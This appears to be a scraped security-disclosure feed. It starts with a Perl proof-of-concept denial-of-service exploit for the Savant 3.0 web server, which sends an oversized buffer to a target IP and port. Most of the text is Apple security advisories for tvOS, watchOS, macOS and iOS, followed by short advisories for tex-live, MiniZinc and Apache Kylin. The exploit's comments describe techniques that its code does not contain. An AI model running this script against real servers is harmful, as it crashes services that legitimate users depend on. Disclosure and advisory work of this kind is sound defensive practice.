Savant version 3.0 remote denial of service exploit.

#!/usr/bin/perl

use IO::Socket;

# Exploit Title: Savant 3.0 - Denied of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 27 january 2024  
#https://sourceforge.net/projects/savant/files/Savant/3.0/Savant30.exe/download  
# Download to demo: https://drive.google.com/file/d/18m_wzC8EOSB8lHPc1DexpOfsDm7H8RFs/view?usp=sharing      
# Notification vendor: No reported  
# Tested Version: Savant 3.0 - Denied of Service (DoS)  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denied of Service (DoS)

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The web server does not correctly handle the amount of data or bytes sent to command RNTO.  
#When authenticating to the web server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){  
      $cmd="cls";  
    } else {  
      $cmd="clear";  
    }

    system("$cmd");

        intro();  
    main();

        print "[+] Exploiting... \n";

    my $sc = "\x90" x 245;

    my $buf = "\x41\x41" . " /" . $sc."\r\n\r\n";

my $s = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $por, Proto => 'tcp') or exit;  
$s->send($buf);  
close $s;

    print "[+] Done - Exploited success!!!!!\n\n";

     sub intro {  
      print q {

                            _/|       
                           // o\      
                           || ._)    
                           //__\     
                           )___(   

      [+] Savant 3.0 - Denied of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: fernando.mengalli@gmail.com

      }  
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";  
        exit(-1);

      }  
  }

Savant 3.0 Denial Of Service

Apple Security Advisory 01-22-2024-9 - tvOS 17.3 addresses code execution vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

APPLE-SA-01-22-2024-9 tvOS 17.3

tvOS 17.3 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/kb/HT214055.

Apple maintains a Security Updates page at  
https://support.apple.com/HT201222 which lists recent  
software updates with security advisories.

Apple Neural Engine  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2024-23212: Ye Zhang of Baidu Security

CoreCrypto  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An attacker may be able to decrypt legacy RSA PKCS#1 v1.5  
ciphertexts without having the private key  
Description: A timing side-channel issue was addressed with improvements  
to constant-time computation in cryptographic functions.  
CVE-2024-23218: Clemens Lang

Kernel  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2024-23208: fmyy(@binary_fmyy) and lime From TIANGONG Team of  
Legendsec at QI-ANXIN Group

NSSpellChecker  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to access sensitive user data  
Description: A privacy issue was addressed with improved handling of  
files.  
CVE-2024-23223: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab)

TCC  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to access user-sensitive data  
Description: An issue was addressed with improved handling of temporary  
files.  
CVE-2024-23215: Zhongquan Li (@Guluisacat)

Time Zone  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to view a user's phone number in system logs  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-23210: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab)

WebKit  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: A maliciously crafted webpage may be able to fingerprint the  
user  
Description: An access issue was addressed with improved access  
restrictions.  
WebKit Bugzilla: 262699  
CVE-2024-23206: an anonymous researcher

WebKit  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: Processing web content may lead to arbitrary code execution  
Description: The issue was addressed with improved memory handling.  
WebKit Bugzilla: 266619  
CVE-2024-23213: Wangtaiyu of Zhongfu info

WebKit  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: Processing maliciously crafted web content may lead to arbitrary  
code execution. Apple is aware of a report that this issue may have been  
exploited.  
Description: A type confusion issue was addressed with improved checks.  
WebKit Bugzilla: 267134  
CVE-2024-23222

Apple TV will periodically check for software updates. Alternatively,  
you may manually check for software updates by selecting "Settings ->  
System -> Software Update -> Update Software."  To check the current  
version of software, select "Settings -> General -> About."  
All information is also posted on the Apple Security Updates  
web site: https://support.apple.com/en-us/HT201222.

This message is signed with Apple's Product Security PGP key,  
and details are available at:  
https://www.apple.com/support/security/pgp/  
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Apple Security Advisory 01-22-2024-9

Apple Security Advisory 01-22-2024-8 - watchOS 10.3 addresses bypass and code execution vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

APPLE-SA-01-22-2024-8 watchOS 10.3

watchOS 10.3 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/kb/HT214060.

Apple maintains a Security Updates page at  
https://support.apple.com/HT201222 which lists recent  
software updates with security advisories.

Apple Neural Engine  
Available for devices with Apple Neural Engine: Apple Watch Series 9 and  
Apple Watch Ultra 2  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2024-23212: Ye Zhang of Baidu Security

CoreCrypto  
Available for: Apple Watch Series 4 and later  
Impact: An attacker may be able to decrypt legacy RSA PKCS#1 v1.5  
ciphertexts without having the private key  
Description: A timing side-channel issue was addressed with improvements  
to constant-time computation in cryptographic functions.  
CVE-2024-23218: Clemens Lang

Kernel  
Available for: Apple Watch Series 4 and later  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2024-23208: fmyy(@binary_fmyy) and lime From TIANGONG Team of  
Legendsec at QI-ANXIN Group

Mail Search  
Available for: Apple Watch Series 4 and later  
Impact: An app may be able to access sensitive user data  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-23207: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab), and  
Ian de Marcellus

NSSpellChecker  
Available for: Apple Watch Series 4 and later  
Impact: An app may be able to access sensitive user data  
Description: A privacy issue was addressed with improved handling of  
files.  
CVE-2024-23223: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab)

Safari  
Available for: Apple Watch Series 4 and later  
Impact: A user's private browsing activity may be visible in Settings  
Description: A privacy issue was addressed with improved handling of  
user preferences.  
CVE-2024-23211: Mark Bowers

Shortcuts  
Available for: Apple Watch Series 4 and later  
Impact: A shortcut may be able to use sensitive data with certain  
actions without prompting the user  
Description: The issue was addressed with additional permissions checks.  
CVE-2024-23204: Jubaer Alnazi (@h33tjubaer)

Shortcuts  
Available for: Apple Watch Series 4 and later  
Impact: An app may be able to bypass certain Privacy preferences  
Description: A privacy issue was addressed with improved handling of  
temporary files.  
CVE-2024-23217: Kirin (@Pwnrin)

TCC  
Available for: Apple Watch Series 4 and later  
Impact: An app may be able to access user-sensitive data  
Description: An issue was addressed with improved handling of temporary  
files.  
CVE-2024-23215: Zhongquan Li (@Guluisacat)

Time Zone  
Available for: Apple Watch Series 4 and later  
Impact: An app may be able to view a user's phone number in system logs  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-23210: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab)

WebKit  
Available for: Apple Watch Series 4 and later  
Impact: A maliciously crafted webpage may be able to fingerprint the  
user  
Description: An access issue was addressed with improved access  
restrictions.  
WebKit Bugzilla: 262699  
CVE-2024-23206: an anonymous researcher

WebKit  
Available for: Apple Watch Series 4 and later  
Impact: Processing web content may lead to arbitrary code execution  
Description: The issue was addressed with improved memory handling.  
WebKit Bugzilla: 266619  
CVE-2024-23213: Wangtaiyu of Zhongfu info

Instructions on how to update your Apple Watch software are available  
at https://support.apple.com/kb/HT204641  To check the version on  
your Apple Watch, open the Apple Watch app on your iPhone and select  
"My Watch > General > About".  Alternatively, on your watch, select  
"My Watch > General > About".  
All information is also posted on the Apple Security Updates  
web site: https://support.apple.com/en-us/HT201222.

This message is signed with Apple's Product Security PGP key,  
and details are available at:  
https://www.apple.com/support/security/pgp/  
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Apple Security Advisory 01-22-2024-8

Apple Security Advisory 01-22-2024-7 - macOS Monterey 12.7.3 addresses code execution vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

APPLE-SA-01-22-2024-7 macOS Monterey 12.7.3

macOS Monterey 12.7.3 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/kb/HT214057.

Apple maintains a Security Updates page at  
https://support.apple.com/HT201222 which lists recent  
software updates with security advisories.

Accessibility  
Available for: macOS Monterey  
Impact: An app may be able to access sensitive user data  
Description: A privacy issue was addressed with improved private data  
redaction for log entries.  
CVE-2023-42937: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab)

Apple Neural Engine  
Available for: macOS Monterey  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2024-23212: Ye Zhang of Baidu Security

curl  
Available for: macOS Monterey  
Impact: Multiple issues in curl  
Description: Multiple issues were addressed by updating to curl version  
8.4.0.  
CVE-2023-38545  
CVE-2023-38039  
CVE-2023-38546  
CVE-2023-42915

ImageIO  
Available for: macOS Monterey  
Impact: Processing a maliciously crafted image may result in disclosure  
of process memory  
Description: The issue was addressed with improved checks.  
CVE-2023-42888: Michael DePlante (@izobashi) of Trend Micro Zero Day  
Initiative

Mail Search  
Available for: macOS Monterey  
Impact: An app may be able to access sensitive user data  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-23207: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab), and  
Ian de Marcellus

WebKit  
Available for: macOS Monterey  
Impact: Processing maliciously crafted web content may lead to arbitrary  
code execution. Apple is aware of a report that this issue may have been  
exploited.  
Description: A type confusion issue was addressed with improved checks.  
WebKit Bugzilla: 267134  
CVE-2024-23222

macOS Monterey 12.7.3 may be obtained from the Mac App Store or  
Apple's Software Downloads web site:  
https://support.apple.com/downloads/  
All information is also posted on the Apple Security Updates  
web site: https://support.apple.com/en-us/HT201222.

This message is signed with Apple's Product Security PGP key,  
and details are available at:  
https://www.apple.com/support/security/pgp/  
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Apple Security Advisory 01-22-2024-7

Apple Security Advisory 01-22-2024-6 - macOS Ventura 13.6.4 addresses bypass and code execution vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

APPLE-SA-01-22-2024-6 macOS Ventura 13.6.4

macOS Ventura 13.6.4 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/kb/HT214058.

Apple maintains a Security Updates page at  
https://support.apple.com/HT201222 which lists recent  
software updates with security advisories.

Apple Neural Engine  
Available for: macOS Ventura  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2024-23212: Ye Zhang of Baidu Security

Accessibility  
Available for: macOS Ventura  
Impact: An app may be able to access sensitive user data  
Description: A privacy issue was addressed with improved private data  
redaction for log entries.  
CVE-2023-42937: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab)

Core Data  
Available for: macOS Ventura  
Impact: An app may be able to bypass Privacy preferences  
Description: This issue was addressed by removing the vulnerable code.  
CVE-2023-40528: Kirin (@Pwnrin) of NorthSea

curl  
Available for: macOS Ventura  
Impact: Multiple issues in curl  
Description: Multiple issues were addressed by updating to curl version  
8.4.0.  
CVE-2023-38545  
CVE-2023-38039  
CVE-2023-38546  
CVE-2023-42915

Finder  
Available for: macOS Ventura  
Impact: An app may be able to access sensitive user data  
Description: The issue was addressed with improved checks.  
CVE-2024-23224: Brian McNulty

ImageIO  
Available for: macOS Ventura  
Impact: Processing a maliciously crafted image may result in disclosure  
of process memory  
Description: The issue was addressed with improved checks.  
CVE-2023-42888: Michael DePlante (@izobashi) of Trend Micro Zero Day  
Initiative

LoginWindow  
Available for: macOS Ventura  
Impact: A local attacker may be able to view the previous logged in  
user’s desktop from the fast user switching screen  
Description: An authentication issue was addressed with improved state  
management.  
CVE-2023-42935

Mail Search  
Available for: macOS Ventura  
Impact: An app may be able to access sensitive user data  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-23207: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab), and  
Ian de Marcellus

NSOpenPanel  
Available for: macOS Ventura  
Impact: An app may be able to read arbitrary files  
Description: An access issue was addressed with additional sandbox  
restrictions.  
CVE-2023-42887: Ron Masas of BreakPoint.sh

WebKit  
Available for: macOS Ventura  
Impact: Processing maliciously crafted web content may lead to arbitrary  
code execution. Apple is aware of a report that this issue may have been  
exploited.  
Description: A type confusion issue was addressed with improved checks.  
WebKit Bugzilla: 267134  
CVE-2024-23222

macOS Ventura 13.6.4 may be obtained from the Mac App Store or  
Apple's Software Downloads web site:  
https://support.apple.com/downloads/  
All information is also posted on the Apple Security Updates  
web site: https://support.apple.com/en-us/HT201222.

This message is signed with Apple's Product Security PGP key,  
and details are available at:  
https://www.apple.com/support/security/pgp/  
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Apple Security Advisory 01-22-2024-6

Apple Security Advisory 01-22-2024-5 - macOS Sonoma 14.3 addresses bypass and code execution vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

APPLE-SA-01-22-2024-5 macOS Sonoma 14.3

macOS Sonoma 14.3 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/kb/HT214061.

Apple maintains a Security Updates page at  
https://support.apple.com/HT201222 which lists recent  
software updates with security advisories.

Apple Neural Engine  
Available for: macOS Sonoma  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2024-23212: Ye Zhang of Baidu Security

CoreCrypto  
Available for: macOS Sonoma  
Impact: An attacker may be able to decrypt legacy RSA PKCS#1 v1.5  
ciphertexts without having the private key  
Description: A timing side-channel issue was addressed with improvements  
to constant-time computation in cryptographic functions.  
CVE-2024-23218: Clemens Lang

Finder  
Available for: macOS Sonoma  
Impact: An app may be able to access sensitive user data  
Description: The issue was addressed with improved checks.  
CVE-2024-23224: Brian McNulty

Kernel  
Available for: macOS Sonoma  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2024-23208: fmyy(@binary_fmyy) and lime From TIANGONG Team of  
Legendsec at QI-ANXIN Group

LLVM  
Available for: macOS Sonoma  
Impact: Processing web content may lead to arbitrary code execution  
Description: The issue was addressed with improved memory handling.  
CVE-2024-23209

Mail Search  
Available for: macOS Sonoma  
Impact: An app may be able to access sensitive user data  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-23207: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab), and  
Ian de Marcellus

NSSpellChecker  
Available for: macOS Sonoma  
Impact: An app may be able to access sensitive user data  
Description: A privacy issue was addressed with improved handling of  
files.  
CVE-2024-23223: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab)

Safari  
Available for: macOS Sonoma  
Impact: A user's private browsing activity may be visible in Settings  
Description: A privacy issue was addressed with improved handling of  
user preferences.  
CVE-2024-23211: Mark Bowers

Shortcuts  
Available for: macOS Sonoma  
Impact: A shortcut may be able to use sensitive data with certain  
actions without prompting the user  
Description: The issue was addressed with additional permissions checks.  
CVE-2024-23203: an anonymous researcher  
CVE-2024-23204: Jubaer Alnazi (@h33tjubaer)

Shortcuts  
Available for: macOS Sonoma  
Impact: An app may be able to bypass certain Privacy preferences  
Description: A privacy issue was addressed with improved handling of  
temporary files.  
CVE-2024-23217: Kirin (@Pwnrin)

TCC  
Available for: macOS Sonoma  
Impact: An app may be able to access user-sensitive data  
Description: An issue was addressed with improved handling of temporary  
files.  
CVE-2024-23215: Zhongquan Li (@Guluisacat)

Time Zone  
Available for: macOS Sonoma  
Impact: An app may be able to view a user's phone number in system logs  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-23210: Noah Roskin-Frazee and Prof. J. (ZeroClicks.ai Lab)

WebKit  
Available for: macOS Sonoma  
Impact: A maliciously crafted webpage may be able to fingerprint the  
user  
Description: An access issue was addressed with improved access  
restrictions.  
WebKit Bugzilla: 262699  
CVE-2024-23206: an anonymous researcher

WebKit  
Available for: macOS Sonoma  
Impact: Processing web content may lead to arbitrary code execution  
Description: The issue was addressed with improved memory handling.  
WebKit Bugzilla: 266619  
CVE-2024-23213: Wangtaiyu of Zhongfu info

WebKit  
Available for: macOS Sonoma  
Impact: Processing maliciously crafted web content may lead to arbitrary  
code execution  
Description: Multiple memory corruption issues were addressed with  
improved memory handling.  
WebKit Bugzilla: 265129  
CVE-2024-23214: Nan Wang (@eternalsakura13) of 360 Vulnerability  
Research Institute

WebKit  
Available for: macOS Sonoma  
Impact: Processing maliciously crafted web content may lead to arbitrary  
code execution. Apple is aware of a report that this issue may have been  
exploited.  
Description: A type confusion issue was addressed with improved checks.  
WebKit Bugzilla: 267134  
CVE-2024-23222

macOS Sonoma 14.3 may be obtained from the Mac App Store or Apple's  
Software Downloads web site: https://support.apple.com/downloads/  
All information is also posted on the Apple Security Updates  
web site: https://support.apple.com/en-us/HT201222.

This message is signed with Apple's Product Security PGP key,  
and details are available at:  
https://www.apple.com/support/security/pgp/  
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Apple Security Advisory 01-22-2024-5

Apple Security Advisory 01-22-2024-4 - iOS 15.8.1 and iPadOS 15.8.1 addresses code execution and out of bounds read vulnerabilities.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256APPLE-SA-01-22-2024-4 iOS 15.8.1 and iPadOS 15.8.1iOS 15.8.1 and iPadOS 15.8.1 addresses the following issues.Information about the security content is also available athttps://support.apple.com/kb/HT214062.Apple maintains a Security Updates page athttps://support.apple.com/HT201222 which lists recentsoftware updates with security advisories.WebKitAvailable for: iPhone 6s (all models), iPhone 7 (all models), iPhone SE(1st generation), iPad Air 2, iPad mini (4th generation), and iPod touch(7th generation)Impact: Processing web content may disclose sensitive information. Appleis aware of a report that this issue may have been exploited againstversions of iOS before iOS 16.7.1.Description: An out-of-bounds read was addressed with improved inputvalidation.WebKit Bugzilla: 265041CVE-2023-42916: Clément Lecigne of Google's Threat Analysis GroupWebKitAvailable for: iPhone 6s (all models), iPhone 7 (all models), iPhone SE(1st generation), iPad Air 2, iPad mini (4th generation), and iPod touch(7th generation)Impact: Processing web content may lead to arbitrary code execution.Apple is aware of a report that this issue may have been exploitedagainst versions of iOS before iOS 16.7.1.Description: A memory corruption vulnerability was addressed withimproved locking.WebKit Bugzilla: 265067CVE-2023-42917: Clément Lecigne of Google's Threat Analysis GroupThis update is available through iTunes and Software Update on youriOS device, and will not appear in your computer's Software Updateapplication, or in the Apple Downloads site. Make sure you have anInternet connection and have installed the latest version of iTunesfrom https://www.apple.com/itunes/  iTunes and Software Update on thedevice will automatically check Apple's update server on its weeklyschedule. When an update is detected, it is downloaded and the optionto be installed is presented to the user when the iOS device isdocked. We recommend applying the update immediately if possible.Selecting Don't Install will present the option the next time youconnect your iOS device.  The automatic update process may take up toa week depending on the day that iTunes or the device checks forupdates. You may manually obtain the update via the Check for Updatesbutton within iTunes, or the Software Update on your device.  Tocheck that the iPhone, iPod touch, or iPad has been updated:  *Navigate to Settings * Select General * Select About. The versionafter applying this update will be "iOS 15.8.1 and iPadOS 15.8.1".All information is also posted on the Apple Security Updatesweb site: https://support.apple.com/en-us/HT201222.This message is signed with Apple's Product Security PGP key,and details are available at:https://www.apple.com/support/security/pgp/-----BEGIN PGP SIGNATURE-----iQIzBAEBCAAdFiEEsz9altA7uTI+rE/qX+5d1TXaIvoFAmWvDd8ACgkQX+5d1TXaIvrnYQ//eEhI4dYnq+om+sw4N+fNEcTZWLtBe3GyWgzVtBuvWOwt0Z34BNfVD4jFz1YlzYp18bzYTCdThkIrvQSe/QmYEmdKt16RtQH3qJTyE18h2YLG31gA/ja8iPcNAdqQqz6tJEq9aUrmeyAhFNsEZX7PHVfuSigqi8495rMcN1xI6caCS7Tio98EVmNe6cMRLUefSJH0z5GvwjbTgLCKbhv+/pDAq0L8Lqosy9CFS+oMRYyCdXoPL3E2wOpdnxVgjctp6YJrjT/LFdeT8e3gu6oOo/Pj+bx9RWP8vVS0jos5DXOJJAnLn3qOt9yStqmECBpque3L3PrhToPdSCiIFE8JbHFBWscO/TaF3rQvmZfLSx+HKJR8VSAjpGThjLHWAQUFUauoQ1TudmtA3y9rolCkvhMeZXvbi0dxkEgRtBCbJzRWfMQ6rPeOOkgUUSBkVM/O55bhQ1JqmpUBq2s4lCx6EErwSm1XS6ooXxZt9FWltqhu+ixgne63X8U5+cLJlkRWjeIC63pziGkB6RbIQkupEanrbH8ekRFQs4zIazq1fjZANRN71y+wAZZ5tcbvH37FzUPT7HL9ZPMO8wvVVFEEHNx4RIB+KNSH2E/z67Jhs9nM1atUNg1djufg/mmAfx/83pQretb4xqiN6VKJdPCY/BXkWhBJbdWUpqsODUmfvY0==wSSi-----END PGP SIGNATURE-----

Apple Security Advisory 01-22-2024-4

tex-live version 944e257 suffers from a null pointer vulnerability.

Change Mirror Download

    [Vulnerability description]A null pointer deference existed in tex-live v.944e257 via a crafted file to the texk/web2c/pdftexdir/tounicode.c function.[VulnerabilityType Other]null pointer deference[Vendor of Product]tex-live[Affected Product Code Base]tex-live - 944e257[Reference]https://tug.org/pipermail/tex-live/2023-August/049406.html[CVE Reference]The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2023-46051 to this vulnerability.

tex-live 944e257 Null Pointer

MiniZinc version 2.7.6 suffers from a null pointer vulnerability.

**MiniZinc 2.7.6 Null Pointer**

Posted Jan 29, 2024

Authored by Meng Ruijie

MiniZinc version 2.7.6 suffers from a null pointer vulnerability.

tags | advisory

advisories | CVE-2023-46050

SHA-256 | a80cb0270b834776631af2ca8f8daa61229fb0418cf1801a697093adfbf995c9

Download | Favorite | View

**MiniZinc 2.7.6 Null Pointer**

    [Vulnerability description]A null pointer deference existed in MiniZinc v.2.7.6 via a crafted Preferences.json file.[VulnerabilityType Other]null pointer deference[Vendor of Product]MiniZinc[Affected Product Code Base]MiniZinc - 2.7.6[Reference]https://github.com/MiniZinc/libminizinc/issues/729[CVE Reference]The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2023-46050 to this vulnerability.

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MiniZinc 2.7.6 Null Pointer

In Apache Kylin version 2.0.0 to 4.0.3, there is a Server Config web interface that displays the content of file 'kylin.properties', that may contain serverside credentials. When the kylin service runs over HTTP (or other plain text protocol), it is possible for network sniffers to hijack the HTTP payload and get access to the content of kylin.properties and potentially the containing credentials.

To avoid this threat, users are recommended to 

  *  Always turn on HTTPS so that network payload is encrypted.

  *  Avoid putting credentials in kylin.properties, or at least not in plain text.
  *  Use network firewalls to protect the serverside such that it is not accessible to external attackers.

  *  Upgrade to version Apache Kylin 4.0.4, which filters out the sensitive content that goes to the Server Config web interface.

1.  GitHub Advisory Database
2.  GitHub Reviewed
3.  CVE-2023-29055

**Apache Kylin has Insufficiently Protected Credentials**

Moderate severity GitHub Reviewed Published Jan 29, 2024 to the GitHub Advisory Database • Updated Jan 29, 2024

**Package**

maven org.apache.kylin:kylin-core-common (Maven)

**Affected versions**

\>= 2.0.0, < 4.0.4

In Apache Kylin version 2.0.0 to 4.0.3, there is a Server Config web interface that displays the content of file 'kylin.properties', that may contain serverside credentials. When the kylin service runs over HTTP (or other plain text protocol), it is possible for network sniffers to hijack the HTTP payload and get access to the content of kylin.properties and potentially the containing credentials.

To avoid this threat, users are recommended to 

*   Always turn on HTTPS so that network payload is encrypted.
    
*   Avoid putting credentials in kylin.properties, or at least not in plain text.
    
*   Use network firewalls to protect the serverside such that it is not accessible to external attackers.
    
*   Upgrade to version Apache Kylin 4.0.4, which filters out the sensitive content that goes to the Server Config web interface.
    

**References**

*   https://nvd.nist.gov/vuln/detail/CVE-2023-29055
*   https://lists.apache.org/thread/o1bvyv9wnfkx7dxpfjlor20nykgsoh6r
*   http://www.openwall.com/lists/oss-security/2024/01/29/1
*   apache/kylin@b60d5ae

Published to the GitHub Advisory Database

Jan 29, 2024

Last updated

Jan 29, 2024

Tag

#web